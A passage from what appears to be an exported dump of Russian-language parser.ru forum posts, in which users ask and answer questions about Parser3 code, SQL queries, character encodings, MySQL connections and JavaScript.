$hParams[^hash::create[$hshParams]]\
[/code]\
\
hParams не объявлена локальной\
\
\
[code]\
	$tProductsFields[^self.getProductsFields[\
			$.SQL_SELECT[nesting]\
			$.SQL_FROM[products]\
			$.SQL_WHERE[\
				products.product_id = products_fields.product_id AND\
				products.product_id IN ($tProduct.parents_ids)\
			]\
		]]\
[/code]\
\
будет ругань на product_id в списке доставаемых полей\
\
\
[code]\
$hFields[:hshFields.[$intParentID].hash[name][$.distinct[tables]]]\
[/code]\
\
1. опечатка похоже ':' -> '^'\
2. судя по тому, что в этот метод приходит просто hash а не хеш таблиц, выполнить это преобразование не получится, будет ошибка\
\
\
[code]\
^if(def $hParams.tag_body){$hParams.tag_body}\
[/code]\
\
def тут нафиг не нужен\
\
P.S. в логику не вникал\
P.P.S. сорри по поводу \"вы\". людей много, не всегда получается переключиться с \"вы\" на \"ты\"."
"63801","Щас попробовал - как отдельный скрипт прекрасно работает, а вот как кусок всего скрипта валится... хотя другие xml прекрасно обрабатываются..."
"63806","Оказалось что если в xml есть &quot; ошибка появляется, на, например, &apos; никто не ругается...\
\
P.S. в простеньком скрипте все кстати нормльно, скрипт почти как вашь вариант, только xdoc загружается из файла. Есесно \";\" не экранируется."
"63807","Есть вот такой код\
\
[code]^try{\
   $f[^file::load[text;http://ya.ru/index.html]]\
   Все хорошо\
}{\
   Все плохо - $exception.type\
   $exception.handled(1)\
} [/code]\
\
Выдает ошибку http.host\
Хотя туже самую страницу php скриптом грузит \"на ура\".\
\
Вобщем парсер совсем и ничего не может скачать из вне сервера.\
Есть подозрения, что хостеры что-то намудрили при сборке парсера...хотя, я не уверен :)\
\
Подскажите, в ответах, куда рыть. А я, ссылку на эту тему, завтра суппорту отправлю :)."
"63808","от того, где xml -- в коде или в файле у меня его работоспособность не страдает.\
\
xdoc.xml\
[code]\
<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<package>\
	<name>\
		sdl\
	</name>\
	<version>\
		1.2.11\
	</version>\
	<arch>\
		i486\
	</arch>\
	<description>\
		Библиотека универсальных API, которые обеспечивает низкоуровневый\
 доступ к аудио, клавиатуре, &quot;мыше&quot;, джойстику, графическим ускорителям\
 через OpenGL. SDL связан с библиотеками alsa-lib, arts, audiofile,\
 esound и X11.\
	</description>\
	<short_description>\
		sdl\
	</short_description>\
	<tags>\
		<tag>\
			libs\
		</tag>\
	</tags>\
</package>\
[/code]\
\
\
xdoc1.html\
[code]\
$xdoc[^xdoc::load[xdoc1.xml]]\
\
$obj[^xdoc.selectString[string(//description)]]\
=^obj.trim[]=\
[/code]\
\
=> у меня все работает.\
\
\
я 2 раза попытался воспроизвести вашу проблему. дальше -- лень, откликнуть только на bug.zip в почте."
"63809","Сижу изобретаю \"велосипед\", т.е. интернет-магазин.\
Решила сделать вывод в каждом разделе товаров из серии \"Новинки\", \"Рекомендуем\", \"Спецпредложения\".\
И тут все застопорилось. Проблема в правильном построении запроса к БД.\
\
Есть 3 таблицы.\
1-я, shop_group - содержит перечень основных разделов (типа Кофе, Чай, Посуда). Поля: id, sort_order, group_name, group_show (скрыть/показать раздел).\
\
2-я, shop_sub_group - содержит перечень подразделов (типа Кофе в банках, Кофе в зернах, Чай черный, Чай зеленый). Поля: id, sort_order, parent_group (содержит id разделов), sub_group_name, sub_group_show (скрыть/показать подраздел).\
\
3-я, shop_positions - таблица с самими товарами. Поля: id, parent_sub_group (содержит id подразделов), positions_name, producer, unit, price, description, positions_news (новинка), positions_recommend (рекомендуем), positions_special (спецпредложение), show_positions (скрыть/показать товар). \
\
Хотела сделать так, чтобы при заходе в раздел, например \"Кофе\", покупателю на витрине показывались товары: 3 новинки, 3 рекомендуемых товара, 3 спецпредложения, соот. из этого раздела.\
\
Запрос типа:\
\
[code]\
	$dir[^table::sql{SELECT\
				id,\
				parent_group\
			FROM\
				shop_sub_group\
			WHERE\
				parent_group = '$form:subs'\
	}]\
				\
	$positions_news[^table::sql{SELECT\
					id,\
					positions_news,\
					positions_name,\
					producer,\
					unit,\
					price,\
					description\
				    FROM\
					shop_positions\
				    WHERE\
					show_positions = 1\
				    AND\
					positions_news = 1							\
				    ^dir.menu{\
				    AND\
					parent_sub_group = $dir.id										    }\
				ORDER BY RAND() limit 3								\
		}]\
\
\
[/code]\
\
не работает.\
Как достать все \"новинки\", не могу сообразить :( ибо parent_sub_group может иметь столько значений, сколько подразделов...\
\
Как решить эту проблему? Помогите, плз!!!"
"63810","проблема такая:\
данные передаются parser-скрипту черех ajax в кодировке UTF-8\
\
в файле стоит:\
[code]\
$response:content-type[\
	$.value[text/html]\
	$.charset[utf-8]\
]\
[/code]\
\
в нем делаю запрос в бд:\
[code]\
$qwer[select count(*) from fusers where login='$form:login']\
$cnt(^int:sql{$qwer})\
\
#проверяем пришедшие данные\
^qwer.save[/temp.txt]\
\
$result[alert('$form:login')]\
[/code]\
\
Далее появляется alert с нормальными русскими баквами, но в файл temp.txt сохраняется такая строка:\
select count(*) from fusers where login='СЂСѓСЃСЃРєРёР№'\
\
причем только в опере и мозиле. В ие все ок. Не пойму где грабли, можно обойти как-то, или это не парсер?"
"63811","1. Папки, подпапки в разных таблицах - не очень хорошо. Рекомендую заглянуть в любой пример построения деревьев. Избавите себя от кучи лишних запросов.\
2. В запросе тоже желательно плясать от того что вы ищите: подгруппа, разрешенные, новые.\
3. ORDER BY RAND() нужно вынести из menu"
"63813","Мы пробовали более старый бинарник (видимо, 3.1, ставили какому-то клиенту около года назад), последний свежий бинарник, пробовали собирать сами с safe_mode и без - проблема остаётся.\
\
Система - FC2 с нашим ядром 2.6.20. glibc-2.3.3-27"
"63814","Да, апач-2.2.4 в chroot (через mod_security)"
"63816","windows-1251 в обоих...\
\
пробую $response:charset[utf-8] - перестает в IE работать...\
\
select count(*) from fusers where login='%F0%F3%F1%F1&#47721;'\
\
зато в мозиле и опере все ок.\
\
запутался... вижу только один выход - для разных браузеров переводить в разную кодировку..."
"63817","правильно: указать в $response:charset и в $response:content-type.charset одинаковую кодировку (utf-8) и начать разбираться с IE (или с js и заставлять его слать данные именно в utf-8).\
\
ваша проблема в том, что ваше утверждение:\
[quot]\
данные передаются parser-скрипту черех ajax в кодировке UTF-8\
[/quot]\
в случае IE не соответствует действительности."
"63818","Добрый день.\
\
Храню в БД в одной колонке параметры через запятую. Типичная запись: 1,11,23,95,123,99,\
\
[code]\
$q[^db{^string:sql{SELECT prms FROM table}}]\
$q[^q.trim[end;,]] <-- последняя запятая не отсекается\
\
$params[^q.split[,;lv]]\
\
^params.count[] <-- 7 шт.\
[/code]\
такое поведение наблюдается только с данными, полученными из БД.\
\
Если заполнить вручную $q, то работет как и должно:\
[code]\
$q[1,11,23,95,123,99,]\
$q[^q.trim[end;,]] <-- отсекается\
\
$params[^q.split[,;lv]]\
\
^params.count[] <-- 6 шт.\
[/code]\
\
Куда копать?"
"63819","попробуйте вывести вашу строку так:\
[code]\
=$q=\
[/code]\
\
если там есть пробельные символы (возможно ваш метод db их добавляет), то в список обрезаемых символов кроме запятой добавьте и их."
"63820","длина столбца 120 символов VARCHAR(120)\
\
длина строки ровно 120 символов (последний - запятая)"
"63821","Проблема именно в chroot. Из chroot gethostbyname всегда возвращает false;"
"63822","Полагаю я не первый, кто использует такую схему хранения параметров...\
\
есть ещё одна таблица prms_base, где хранятся описание параметра (id, desc)\
\
вытаскиваю, как мне кажется, не самым лучшим способом:\
[code]\
^db{\
$params_desc[^table::create{id	name\
^params.menu{\
$params.piece	^string:sql{SELECT desc FROM prms_base WHERE id = $params.piece}\
}\
}]\
}\
\
^params_desc.menu{$params_desc.id - $params_desc.name}[<br />]\
[/code]\
Получается на каждый id - селект.\
\
Возможно ли обойтись одним запросом для создания таблицы с данными id desc?"
"63825","спасибо за указанное направление...\
\
сам уже туплю жутко, не мыслю )"
"63827","Возможно поможет. :)"
"63829","http://change.2pay.ru/exchange.php?OpKey=9B30DF9A-711A-45AD-9963-01FC902436E6-UfRrwu80h7&Action=None\
\
Пробую так\
[code]$file3[^file::load[text;http://change.2pay.ru/exchange.php;\
$.timeout(30)\
$.any-status(1)\
$.form[\
$.OpKey[9B30DF9A-711A-45AD-9963-01FC902436E6-UfRrwu80h7]\
$.Action[None]\
]\
$.headers[\
$.User-Agent[Mozilla/5.0 (Windows^; U^; Windows NT 5.1^; ru-RU^; rv:1.7.7)]\
$.Host[change.2pay.ru]\
]]]\
\
^file3.tables.foreach[key;value]{ \
    $key=^value.menu{$value.value}[|]<br> \
} \
\
$file3.text\
\
[/code]\
Выдает вот \
[quote]SERVER=Apache/2.2.6 (FreeBSD) PHP/5.2.5 with Suhosin-Patch mod_ssl/2.2.6 OpenSSL/0.9.7e-p1\
LOCATION=http://2pay.ru/errors/404.html\
CONTENT-LENGTH=214\
CONTENT-TYPE=text/html; charset=iso-8859-1\
CONNECTION=close\
DATE=Fri, 07 Dec 2007 19:01:31 GMT\
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href=\"http://2pay.ru/errors/404.html\">here</a>.</p> </body></html>[/quote]\
лежит тут:\
http://2pay.ru/temp/5.html"
"63830","Ребята - вот возникла такая идея: в тексте како-го либо дива находить все картинки и те, что превышают установленную длину или ширину - уменьшать до определенных размеров и показывать не их огромные оригиналы, а уменьшенные копии. С самим уменьшением понятно - будем делать через внешний хтмл. только вот вышла загвоздка в ЯваСкрипте и тут я застрял. А проблема вот в чем - я запускаю поиск всех тэгов img в div-е - скрипт их находит, но при переборе значений через JsHttpRequest посылается только последний src. Не могу найти причину и решение! помогите с отладкой?\
[code]<div id=\"con\">\
<img src=\"/templates/trinity/i/video_btn.png\" width=\"101\" height=\"25\">\
<img src=\"/templates/trinity/i/video_btn.png\" width=\"102\" height=\"25\">\
<img src=\"/templates/trinity/i/video_btn.png\" width=\"103\" height=\"25\">\
<img src=\"/templates/trinity/i/video_btn.png\" width=\"104\" height=\"25\">\
</div>\
                <script language=\"JavaScript\" src=\"/js/JsHttpRequest.js\"></script>\
\
<script>\
	if (document.getElementsByTagName) {\
		var images = document.getElementById('con').getElementsByTagName('img');\
		for (var i=0;i<images.length;i++) {\
			var image = images[i];\
				if (image.getAttribute('src')){\
				if (image.getAttribute('width')) { var width=image.width^;}\
				if (image.getAttribute('height')) { var height=image.height^;}\
				if(width>height){maxSide='width'^;} else {maxSide='height'^;}\
				var maxSide^;\
var curdir;\
				curdir= image.src^;\
				var destpath= curdir.substring(0,curdir.lastIndexOf('/')+1)^;\
				var mainString= destpath\
				var replaceStr = \"\\\\/\"\
				var delim = \"/g\"\
				var regexp = eval(\"/\" + \"\\\\/\" + delim)\
				var newvar=mainString.replace(regexp, replaceStr)\
				regexp= eval('/\\\\' + newvar + delim)\
				var filename=curdir.replace(regexp, \"\")\
					var req = new JsHttpRequest()^;\
req.onreadystatechange = function() {\
	if ( req.readyState == 4 ) {\
		if ( req.responseJS ) {\
		alert(req.responseJS.dpath)^;\
		//var sc_req_image = new Image();\
		image.src = req.responseJS.dpath\
		image.height=40^;\
			image.width=30^;\
			image.onclick=function(){alert('idiots outside')^;}\
		\
		}\
	}\
}\
// disable caching\
req.caching = false^;\
// prepare object\
req.open(null, '/load.html', true)^;\
				\
				// показывает результат перебора всех значений\
				document.write('<font color=\"black\">'+destpath+' width='+width+' heght='+height+'<br>'+maxSide+' '+destpath+' '+filename+'</font><br>')^;\
// а это посылает последнее и возвращает только последний результат\
req.send( { dpath: destpath, side: maxSide, img: curdir, fname: filename } )^;\
\
  \
		}}\
	}\
</script>[/code]\
это был код запускающий все это\
[code]@USE\
JSHttpRequest.p\
MySqlComp.p\
\
\
@main[]\
$oSql[^MySqlComp::create[$connect_string;$.bDebug(1)]]\
^oSql.server{\
		^rem{ *** decode input data *** }\
		$hRequest[^JSHttpRequest:decodeRequest[]]\
		^rem{ *** set vars from decoded data *** }\
		$sPath[$hRequest.dpath]\
		$sName[$hRequest.fname]\
		$sImg[$hRequest.img]\
        $sMside[$hRequest.side]\
\
\
^if(def $sPath){^JSHttpRequest:printResponse[;$.dpath[${sPath}_thumb_${sName}]$.fname[$sName]$.img[$sImg]$.side[$sMside]]\
}\
[/code]\
А этот - бэкэнд (я не стал пока заморачиваться - по идее здесь и присутствует уменьшение картинки и ссылка на _thumb_imagename.jpg посылается обратно и уменьшенная картинка загружается с сылкой на chromeless window с оригиналом. а если thumb уже есть - то просто посылается его адрес. но сейчас не суть - это ерунда.) А весь гвоздь в первом куске кода: даже таймер ставил между кругами цикла- не помогало.\
Есть продолжение моего решения или альтернативный ход?\
спасибо за совет заранее"
"63835","1) Поставить FireBug и пошагово проследить, как исполняется скрипт\
2) Всегда выносить яваскрипты в .js\
3) Правильно форматировать код - тогда многое станет понятней\
\
А по поводу вашего вопроса - вероятно проблема в том, что вы в цикле перезаписываете переменную req. В любом случае правильнее было бы сначала сформировать массив, а потом отослать его одним запросом, т.к. лучше запустить на сервере один парсер, чем десять.\
\
UPD: И, если не секрет, зачем такой скрипт нужен???"
"63838","Искал по форуму , не нашел.\
[code]^try{\
	^oAuth.logon[$form:fields]\
}{\
	$exception.handled(true)\
	$tErrors[^oAuth.decodeError[$oAuth.error.code]]\
	$tErrors.name\
}\
[/code]\
Ошибки перехватываються, но когда вводишь пустой логин или пароль пустота :)"
"63839","Пытаюсь поставить парсер на Хостинг Центр. ОСЬ - FreeBSD 6.2, Сервер - Apache. Копирую скрипт в cgi-bin, назначаю парсер обработчиком html и запускаю тест в результате вижу:\
\
[quot]Not Found\
The requested URL /www/cgi-bin/parser3.cgi/_test.html was not found on this server.[/quot]\
\
В чем может быть проблема? Скрипт использую для FreeBSD 6.1"
"63840","внятным языком, что он не нашел файл с именем parser3.cgi по указанному вами пути. Проверьте путь.\
\
и пользуйтесь поиском, вы не первый(ая)\
http://www.parser.ru/forum/?terms=%22was+not+found+on+this+server%22&author=&doSearch=%CD%E0%E9%F2%E8"
"63841","Драйвер ODBC под Linux так и не появился?"
"63843","Есть такое:\
\
[code]\
##########################################\
@getPost[pAbbr;i]\
	^connect[$connect_string]{\
		$hPost[^table::sql{\
			SELECT\
				pid, post_short, post_long\
			FROM\
				post_id\
			WHERE\
				pid='$pAbbr'\
		}]\
\
		^hPost.menu{\
			^if($i eq l){\
				$hPost.post_long\
			}{\
				$hPost.post_short\
			}\
		}\
	}\
\
\
##########################################\
@getRecord[pId;pGet]\
	^connect[$connect_string]{\
		$tRecord[^table::sql{\
			SELECT\
				id, $pGet   # post, name, rank, email, section\
			FROM\
				personal\
			WHERE\
				id='$pId'\
		}]\
\
		^tRecord.menu{\
			$tRecord.$pGet\
		}\
	}\
\
@showRecord[pId]\
	$ab[^getRecord[$pId;post]]\
	^getPost[$ab;l]\
[/code]\
\
в итоге, вызов getPost из showRecord не дает никакого результата.\
все значения в базе есть, т.е. если указать явно $ab, то все гут.\
На что я наступил?"
"63845","внесите в текст sql запроса метода getPost синтаксическую ошибку (например замените 'SELECT' на 'SELECT1') и взгляните, что за запрос у вас выполняется.\
\
P.S. по мне -- странный запрос, смысл которого я не понимаю."
"63846","Как правильно, я не знаю. Делаю так (скорее всего коряво):\
\
в таблице POST_ID:\
pid - латинское сокращение должности (например: no, zno)\
post_short - \"русское\" сокращение должности (НО, ЗНО)\
post_long - полное наименование (Начальник отдела, заместитель...)\
\
в таблице PERSONAL:\
post - латинское сокращение должности\
(ну и другие поля: имя, звание, отдел...)\
\
я хочу посмотреть инфу о человечке -- @showRecord[id работника], но должность достать из таблицы POST_ID (по ее лат. сокращению).\
\
Вобщем, сделал как Вы сказали, запрос, действительно, корявый:\
[code]\
select1 pid, post_short, post_long from post_id where pid=' no '\
[/code]\
\
пробелы в кавычках..."
"63848","решить вашу задачу вам предстоит самому.\
\
вы сами написали эти пробельные символы в вашем коде, что вы ожидаете?\
\
если они вам не нужны или мешают -- самое время почитать документацию про result."
"63849","Совсем про него забыл."
"63850","Нашли решение. Проблема была с правами на /etc/nsswitch.conf в чруте."
"63851","Прошел поиском весь форум.\
Понял, что у кого-то работает добавление из файла формы в базу, но не могут вывести картинку из базы...\
У меня же совершенно все наоборот. Вытаскивать и выводить картинки из базы я могу, а проблема в добавлении их из формы.\
\
То ли я с кодом налажал, то ли просто у меня в парсере это не работает...\
\
Конструкция следующая:\
\
[code]\
<form method=\"post\">\
...\
<p align=\"left\">\
	<input type=\"file\" size=\"70\" name=\"map\" /><br>\
</p>\
...\
</form>\
\
^if(def $form:post){\
	$map[^form:map.sql-string[]]\
	$smap[^form:smap.sql-string[]]\
	$photo1[^form:photo1.sql-string[]]\
	$sphoto1[^form:sphoto1.sql-string[]]\
	$photo2[^form:photo2.sql-string[]]\
	$sphoto2[^form:sphoto2.sql-string[]]\
	^dbconnect{\
		^void:sql{INSERT INTO gallery (title, address, stext, ftext, map, smap, photo1, sphoto1, photo2, sphoto2) VALUES ('$form:title', '$form:address', '$form:stext', '$form:ftext', '$map', '^$smap', '$photo1', '$sphoto1', '$photo2', '$sphoto2')}\
	}\
	$response:location[/]\
}\
[/code]\
\
Выдает ошибку: Unhandled Exception (parser.runtime)\
\
sql-string\
string method not found\
\
ругается на первую попавшуюся строку с .sql-string[]\
пробовал сначала сразу к переменным из формы применять в sql-запросе, потом вынес в отдельные переменные - результат одинаков.\
\
Где я ошибся или почему это иожет не работать?\
\
з.ы.: parser 3.2.1sp2"
"63853","Пробовал\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
[/code]\
результат не поменялся...\
что-то не так.\
не может быть виновата версия парсера?\
почему string method not found?"
"63854","вы не приводите код целиком, а я не вижу смысла гадать.\
парсер вам говорит, что вы пытаетесь вызвать метод sql-string у строки. т.е. там строка, а не ожидаемый вами файл. почему? разбирайтесь.\
\
P.S. эта проблема в форуме обсуждалась уже много раз."
"63855","В настоящий момент в качестве хранилищ можно использовать hashfile, sql таблицу или файлы. интерфейс для всех классов однотипный и подобен интерфейсу хранения данных в hashfile (отличаются лишь параметры конструкторов).\
\
http://www.parser.ru/examples/storage/\
\
пример внутри.\
\
внимательно читаем об ограничениях классов (пока хранить можно далеко не всё).\
\
P.S. пока считайте это бетой, которая усиленно не тестировалась."
"63856","Извращаюсь с try и match, но чё-то ужасно это.\
\
Честно и безрезультатно искал."
"63857","я правильно понял, что вы не можете написать регулярное выражение, которое проверит, не совпадает ли переданная строка с шаблоном, в котором первые два символа '0x', а затем? до её конца? идут или цифры или буквы a-f без учёта регистра???\
\
P.S. если да -- то тред удалю: идите читайте про regexp-ы, это одно из самых тривиальных. если нет -- опишите вашу проблему подробнее."
"63858","Я ж написал, что матчем всё нормал, тока мне кажется, что при нагрузке в > 5000 юников в день, делать по несколько десятков проверок просто матчем — некруто.\
\
Я думал есть более «парсерный» подход."
"63859","это нормальный подход и нормальная задача для regexp-ов.\
\
P.S. преждевременная оптимизация -- корень всех бед. вынесите код в отдельный метод и расслабьтесь. но я уверен что до оптимизации именно этого места у вас дело никогда не дойдёт."
"63860","[code]@main[]\
$s[0xff0ff0]\
^if(^isHex[$s]){hex}{no hex}\
\
\
@isHex[hex_string]\
$result(1)\
^try{\
	$b($hex_string)\
}{\
	$exception.handled(1)\
	$result(0)\
}\
[/code]"
"63861","Ну и хорошо."
"63862","[code]@isHex[hex_string]\
$result(0)\
^if(^hex_string.double(-1) >= 0){$result(1)}[/code]"
"63863","Я методом и сделал, как ниже предложил Макскс.\
\
Но если помножить 5000, скажем, на 30 кликов =) Ну не суть. Оставлю так как есть, просто интересно было.\
\
PS. А вы 26 минут считали число 17 =)"
"63864","да не секрет - пользователи сейчас пошли такие ленивые - они хотят в админке в текстовом редакторе вставить картинку хренова тонна разрешения - а чтобы у них в итоге получалась превьюшка 200х300 при чем не скалированная - а реальный thumb, и чтобы они по ней еще кликались и в новом окне типа хромлесс(без кнопок и строки состояния) открывался оригинал. вот я и зааттачился к этой галиматье. чтож, буду искать иного решения - дам им ресайзер встроеный в сайт - пусть ручками ресайзят и линкуют :о)  гы!"
"63865","Есть такая вот строка их базы: $.subject[Клиент прислал номер телефона]$.from[***]$.text[***]$.to[***]\
\
Как её превратить в хеш?"
"63866","[code]$subject[\
	$.tel[999-99-99]\
	$.from[...]\
	$.text[...]\
	$.to[...]\
][/code]\
\
$ --> . <-- subject[Клиент прислал номер телефона]$.from[***]$.text[***]$.to[***] — ненужная точка (если это, конечно же, не элемент хэша."
"63867","# Создали пустой хеш\
$data[^hash::create[]]\
\
# Подготовили строчку с данными из базы\
$str[^$data^[$message.h^]]\
\
# Пуск\
^process{$str}\
\
# 0\
^data._count[]\
\
\
Почему строчка не пришивается к хешу?"
"63868","enctype помог.\
Надо все-таки иногда высыпаться..."
"63869","P.S. если не сложно -- уберите плиз букву '[M]' из логина, не вводите посетителей в заблуждение, особенно с такими вопросами."
"63870","у инициализатора появился ключ $.bAllowUnicodeChars(1)\
\
если указан, то все переданные символы %uZZZZ, которые не смогли декодироваться по таблице замен, преобразуются в &#xZZZZ;\
\
P.S. за пинание по поводу этого дополнения tnx to Sergey M. & MadCow"
"63871","Спасибо, Миша =)\
\
P.S. Извини за [М], пошутил\
С респектом, Марат."
"63872","Появляется вот такой текст ошибки:\
\
mysql://****@localhost/akp?charset=cp1251\
\
Can't connect to local MySQL server through socket '/usr/local/mysql/run/mysql_socket' (2)\
/Applications/MAMP/htdocs/auditkp/classes/sql/Sql.p(53:10)\
\
В Тигре путь usr/local/mysql/run/mysql_socket существовал и все работало. Установил Леопард и теперь никак не могу соединиться с БД:("
"63874","mysql://****@[/Applications/MAMP/tmp/mysql/mysql.sock]/akp?charset=cp1251\
\
Client does not support authentication protocol requested by server; consider upgrading MySQL client\
/Applications/MAMP/htdocs/auditkp/classes/sql/Sql.p(53:10)"
"63878","Здравствуйте.\
Подскажите пожалуйста\
-----------------------------------------------\
Содержание auto.p:\
@index[]\
^header[]\
^body[]\
^footer[]\
@header[]\
<html>\
<head>\
<title>Тестовый сайт Parser3</title>\
</head>\
<body bgcolor=\"#FAEBD7\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr  bgcolor=\"#FFFFFF\" height=\"60\">\
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br>\
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
\
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br>\
\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>cvcxvcxv</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ррррррррррррррр \
      </td> \
   </tr> \
</table> \
<br>\
\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html>\
---------------------------------------------\
Содержание index.html:\
^index[]\
---------------------------------------\
При таком содержании файлов - работает\
Вопросы:\
1. Если вместо ^index[] писать ^main[] - то выдает следующую ошибку:\
[b]main[/b]\
call canceled - endless recursion detected\
w:/home/na-ladoni.ru/ccf/index.html(1:2) \
--------------------------------------------------------------------------------\
main w:/home/na-ladoni.ru/ccf/index.html(1:2)\
Почему?\
2. Очень хотелось бы воспользоваться такими финтами, которые возможны в parser. Но не могу понять что делаю не так.\
Как вы могли заметить, из кода я исключил \
в auto.p:\
^greeting[] из @header[]\
^body_additional[] и ^body_main[] из @body[]\
в index.html исключил:\
@greeting[] \
Добро пожаловать!\
@body_additional[]\
Главная страница сайта\
@body_main[] \
Основное содержание\
\
Сделал это потому, что с ними- выдает ошибку. \
Что сделал неправильно?\
-----------------------------------\
Заранее спасибо."
"63881","...путь к которой указывается в конфигурационном файле.\
\
какое имя файла имеет клиентская библиотека у вас в системе -- ваше личное дело, и парсеру до этого никакого дела нет.\
\
кроме того, похоже в прочитали не всё, т.к. есть вариант использования с новой версией mysql сервера старой версии клиентсвой библиотеки, правда с небольшими ограничениями."
"63882","То, что в auto.p надо менять - это понимаю, забыл указать в вопросе. Но в том то и дело, что с этим не работает. (и в auto.p и в index.html в коде вместо index пишу main)\
\
А по второй части вопроса ничего не знаете (по то, что финт не работает)?"
"63883","затратьте чуть больше чем 5 минут времени на изучение языка и вам воздастся. Тем более что примеры самодостаточны."
"63884","Поиском искал, ничего не нашёл.\
\
Код:\
[code]\
	$str[АбвГде]\
	^str.match[(вГ)][]{XX}\
	^str.match[([а-д])][]{XX}\
[/code]\
\
Первый матч нормально преобразует строку, а вот, когда пытаюсь работать регекспами, выдаёт «XX&#65533;бвГде».\
\
Кодировки:\
[code]	$request:charset[utf-8]\
	$response:charset[utf-8]\
\
	$response:content-type[\
		$.value[text/html]\
		$.charset[$response:charset]\
	][/code]\
\
Сам файл естественно тоже utf-8."
"63885","Собранная Томашевичем или еще какая? Никак не могу заставить там работать"
"63886","Здравствуйте.\
\
Кто-нибудь писал класс для vCard? Может где-то уже можно добыть готовый?\
\
Спасибо."
"63887","Вот ошибка \
\
[Thu Dec 13 00:57:12 2007] [error] [client 127.0.0.1] Premature end of script headers: parser3.cgi\
\
Кто нибудь, кто умеет, соберите пожалуйста парсер к Leopard!"
"63888","Не могу разобраться с кодировкой. Все то, что русским текстом в auto.p отображается иероглифами, и это одновременно с тем, что вся навигация (которая хранится на том же русском но в section.cfg) отображается нормально.\
Подскажите в чем дело?"
"63889","Навигация (урок 2) работает - все нормально.\
Но вот какая огромная проблема.\
Представим, что создал два раздела \"Парсер старый\" \"Парсер новый\"\
При переходе по ссылке парсер старый у этой ссылки убирается подчеркивание (ну как нужно, \
\
чтоб не было ссылки на саму себя). При переходе по ссылке \"парсер новый\" соответственно \
\
убирается подчеркивание с этой ссылки. Проблемма в следующем:\
Если в каждом из разделов сделать еще навигацию (ну например и в \"парсер новый\" и в \
\
\"парсер старый\" будут разделы скачать, документация и хостинги), то при хождения по этим \
\
ссылкам (например зашли по ссылке \"скачать\" в разделе \"парсер новый\") ссылки парсер новый \
\
и парсер старый уже обе подчеркнуты, а меняются только внутренние ссылки (скачать, \
\
документация и хостинги)\
\
Как это исправить. Ведь очень хочется чтобы при переходе по ссылке скачать раздела парсер \
\
новый подчеркивание убиралось не только с ссылки \"скачать\", но и с ссылки \"парсер новый\"\
\
Спасибо заранее."
"63892","чтобы убедиться, что буквы точно из нужных файлов приходят, поправьте что-нибудь и обоих исходных .cfg и посмотрите, что будет. \
\
теория — одно из изменений на экран не попадёт."
"63893","в природе уже некоторое время как досупна pcre библиотека с поддержкой utf-8\
подправить parser, чтобы он её использовал — дело одного вечера.\
\
кому надо, пусть поделится с остальными?"
"63895","я помню, Миша приводил ещё workaround, как в некоторых случаях mysql позволяет обойтись без обновления файлов."
"63897","там по дефолту DOS кодировка, которая и попадает в браузер пользователю и весьма озадачивает молодого веб-подмастерью..."
"63898","а как сделать так, чтоб создавался файл и по дефолту кодировка у него была windows-1251? Или как намеренно изменить кодировку?"
"63899","впринципе вы правы, нельзя отнимать у посетителя эту возможность. Но моя цель (была и есть)- показать посетителю, в каком разделе он находится. Вот например как сделано на странице http://www.parser.ru/forum/?id=63898:\
\
видно что я нахожусь на форуме (другой цвет за ссылкой форум), но и в тоже время у меня есть возможность перейти на главную форума. И одновременно, переходя на главную форума - ссылка убирается. Очень классная реализация. Как так сделать?"
"63900","возможно у меня че то с апачем. на днях оплатиться домен, выкину файлы в инет, если и там проблема не исчезнет - напишу. спасибо"
"63901","или посмотрите сразу вот [url=\"http://www.parser.ru/docs/lang/opin.htm\"]тут[/url]"
"63902","Я обычно в в корневом auto.p каждого раздела пишу что-то типа $currentSection(номер раздела). Это для подсветки — подразделах это значение не изменится.\
А уже для определения, ставить ссылку или не ставить, использую ^if(in \"/\")"
"63903","Иначе приходится делать так:\
[code]\
$tParams[^table::sql{\
...\
}]\
\
$hParams[^tParams.hash[...;$.distinct[tables]]]\
[/code]"
"63904","патч, понятное дело принимается :)"
"63905","... но вот только пока не хватает знаний Си."
"63906","Если кому-то нужны, могу выложить."
"63907","У меня как раз выбор учить либо Java, либо C.\
\
Может есть способ в он-лайн, к примеру Skype, ICQ... Я бы задал все интересующие вопросы.\
\
P.S. Просто в сети не так легко найти ответы на свои вопросы, когда ты не знаешь как это правильно называется или говорится."
"63909","Мне бы аргументов."
"63912","Причем не Си++, а именно Си - это два разных языка. Поймете как работать с памятью и структурами низкого уровня. После этого изучать любой язы станет гораздо легче."
"63914","... вот о чем я думаю?\
\
Parser на C, все программы GNU на C, поэтому и задумываюсь насколько выгоднее учить Java. Мне пока не для работы, только для своего окружения.\
\
С# вроде как от Microsoft?"
"63915","Мне нравится все от O'Reilly, но вот про C/C++ не видел еще."
"63916","http://www.ozon.ru/context/detail/id/2480925/\
http://www.ozon.ru/context/detail/id/1927500/"
"63918","Таблица для хранения платежей:\
\
[code]CREATE TABLE `wmtransfer` (\
